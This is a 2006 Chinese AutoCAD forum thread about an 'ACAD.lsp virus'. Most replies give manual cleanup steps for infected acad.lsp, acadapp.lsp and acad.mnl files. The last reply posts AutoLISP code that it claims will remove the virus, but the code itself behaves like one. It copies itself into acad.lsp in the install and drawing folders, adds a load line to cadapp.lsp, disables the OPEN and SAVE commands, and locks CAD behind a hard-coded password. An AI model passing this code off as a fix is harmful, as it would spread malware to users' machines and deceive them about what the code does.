求助:我中了ACAD.lsp的病毒了?

求助:我中了ACAD.lsp的病毒了?
哪位大哥知道哪里有杀毒的~~

完了，＊.dwg还没听说能中毒，lsp不知道，完了，完了，将lsp全部干掉，从别处考回。

[ 本帖最后由 lizhu 于 2006-5-13 10:23 编辑 ]

ACAD.lsp的病毒
第一次听说

应该不是的，有些杀毒软件把宏视作病毒。LSP本来就是文体文件。

手工杀毒:
1、关闭所有cad
2、以acad.lsp为关键词，搜索所有存放dwg文件的文件夹（或者整个硬盘），发现大小为4K的，统统删除。注意，只删除在存放dwg文件的文件夹下发现的acad.lsp，cad和专业软件安装文件夹下的不要删除！
3、删除C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acadapp.lsp
4、打开C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acad.lsp文件，删除
(load "acadapp")
(princ)
两行内容，如果文件内容只有这两行，则将整个acad.lsp文件删除
5、打开C:\Program Files\AutoCAD R14\SUPPORT文件夹下的acad.mnl文件，在文件末尾，删除
(load "acadapp")
(princ)
这两行内容可能重复出现多次，统统删除
6、将acad.mnl文件属性改为只读

    OK，问题解决

再上传一个专杀软件:

是个好东东，谢谢楼上兄弟！

用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).



(defun S::STARTUP (/        old_cmd  lctn     dwglctn  mnllctn
                   applctn  oldacad  newacad  nowdwg   lspbj
                   wjm      wjm1     wjqm     wjqm1    wz
                   ns1      ns2      wjm0     wjqm0
                  )
  (setq lst0 (list "(" "load" "CADstartup.lsp" ")"))

  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
  (if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn)
    (if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn)
      (if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
  (setq lctn lctn0)
  (setq lctn (substr lctn 1 (- (strlen lctn) 8)))
  (setq mnllctn (getvar "menuname"))
  (setq nowdwg (getvar "dwgname"))
  (setq wjqm (findfile nowdwg))
  (setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(if (equal  (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
  (setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
  (setq wjqm (strcat lctn "acad.lsp"))
  (setq wjqm0 (strcat lctn "cadapp.lsp"))
  (if (setq wjm0 (open wjqm0 "a"))
    ;(progn
    ;(setq aa (read-line wjm0))
    ;(if (/= aa "load CADstartup.lsp")
    (progn
      (setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0)))
      (write-line aa wjm0)
      )
      (close wjm0)
    )
  
     (setq oldacad (findfile "CADstartup.lsp"))
       (setq newacad (strcat lctn "acad.lsp"))
       (writeapp)
  (setq oldacad (findfile "acad.lsp"))
  (setq newacad (strcat dwglctn "acad.lsp"))
       (writeapp)
  (command "undefine" "open")
  (command "undefine" "save")
  (setvar "cmdecho" old_cmd)
(print "This is CAD")
  (princ)
)
(defun writeapp ()
  (if
    (setq wjm1 (open newacad "w"))
     (progn
       (setq wjm (open oldacad "r"))
       (while
         (setq wz (read-line wjm))
          (write-line wz wjm1)
       )
       (close wjm)
       (close wjm1)
     )
  )
)
(defun Cpen (/ p cont old_cmd)
  (setq
    old_cmd (getvar "cmdecho")
  )
  (setvar "cmdecho" 0)
  (setq p "12345")
  (setq p0 (getstring "\Input Pass Word:"))
  (if (eq p p0) (progn
    (command "redefine" "open")
    (command "open" "")) (command "quit" ""))
)
(defun C:save (/ old_cmd)
  (setq old_cmd (getvar "cmdecho"))
  (setvar "cmdecho" 0)
   (setq p0 (getstring "\Are you finish?"))
  (command "redefine" "save")
  (command  "save" "")
  (setvar "cmdecho" old_cmd)
  (princ)
)